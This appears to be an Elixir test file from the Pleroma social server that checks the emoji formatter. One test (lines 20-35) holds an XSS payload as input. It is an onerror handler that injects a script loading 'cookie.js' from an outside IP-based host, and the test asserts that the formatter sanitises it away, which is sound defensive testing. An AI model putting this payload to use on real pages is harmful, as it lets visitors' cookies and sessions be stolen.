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   1 # Pleroma: A lightweight social networking server
   2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
   3 # SPDX-License-Identifier: AGPL-3.0-only
   4
   5 defmodule Pleroma.Emoji.FormatterTest do
   6   alias Pleroma.Emoji
   7   alias Pleroma.Emoji.Formatter
   8   use Pleroma.DataCase
   9
  10   describe "emojify" do
  11     test "it adds cool emoji" do
  12       text = "I love :firefox:"
  13
  14       expected_result =
  15         "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
  16
  17       assert Formatter.emojify(text) == expected_result
  18     end
  19
  20     test "it does not add XSS emoji" do
  21       text =
  22         "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
  23
  24       custom_emoji =
  25         {
  26           "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
  27           "https://placehold.it/1x1"
  28         }
  29         |> Pleroma.Emoji.build()
  30
  31       expected_result =
  32         "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
  33
  34       assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
  35     end
  36   end
  37
  38   describe "get_emoji" do
  39     test "it returns the emoji used in the text" do
  40       text = "I love :firefox:"
  41
  42       assert Formatter.get_emoji(text) == [
  43                {"firefox",
  44                 %Emoji{
  45                   code: "firefox",
  46                   file: "/emoji/Firefox.gif",
  47                   tags: ["Gif", "Fun"],
  48                   safe_code: "firefox",
  49                   safe_file: "/emoji/Firefox.gif"
  50                 }}
  51              ]
  52     end
  53
  54     test "it returns a nice empty result when no emojis are present" do
  55       text = "I love moominamma"
  56       assert Formatter.get_emoji(text) == []
  57     end
  58
  59     test "it doesn't die when text is absent" do
  60       text = nil
  61       assert Formatter.get_emoji(text) == []
  62     end
  63   end
  64 end